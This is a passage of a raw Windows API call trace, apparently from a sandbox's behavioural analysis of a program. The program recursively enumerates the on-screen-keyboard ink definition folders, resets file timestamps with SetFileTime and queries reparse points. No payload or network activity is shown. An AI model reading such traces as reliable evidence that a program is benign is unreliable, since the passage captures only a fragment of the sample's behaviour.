dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0049.461] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.461] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.461] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.461] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.461] NtClose (Handle=0x188) returned 0x0 [0049.461] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.461] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.461] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0049.462] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.462] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.462] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0049.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0049.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90f70 [0049.462] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94140 [0049.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.462] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0049.462] GetLastError () returned 0x12 [0049.462] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.462] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.462] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.462] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0049.462] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0049.462] GetLastError () returned 0x12 [0049.462] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.463] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.463] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0049.463] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0049.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.463] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0049.463] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.463] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.463] NtClose (Handle=0x190) returned 0x0 [0049.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.463] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.463] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0049.463] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0049.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0049.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90f90 [0049.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94248 [0049.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.464] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0049.464] GetLastError () returned 0x12 [0049.464] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.464] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.464] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.464] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0049.464] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0049.464] GetLastError () returned 0x12 [0049.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.464] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.464] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.464] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0049.464] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0049.464] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0049.465] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.465] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.465] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.465] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.465] NtClose (Handle=0x188) returned 0x0 [0049.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.472] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0049.472] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.472] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.472] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0049.472] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0049.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90fb0 [0049.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94350 [0049.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x440) returned 0xf870d0 [0049.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf934e0) returned 1 [0049.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.473] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0049.473] GetLastError () returned 0x12 [0049.473] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.473] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.473] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.473] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0049.473] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0049.473] GetLastError () returned 0x12 [0049.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.473] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.473] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0049.473] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0049.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft 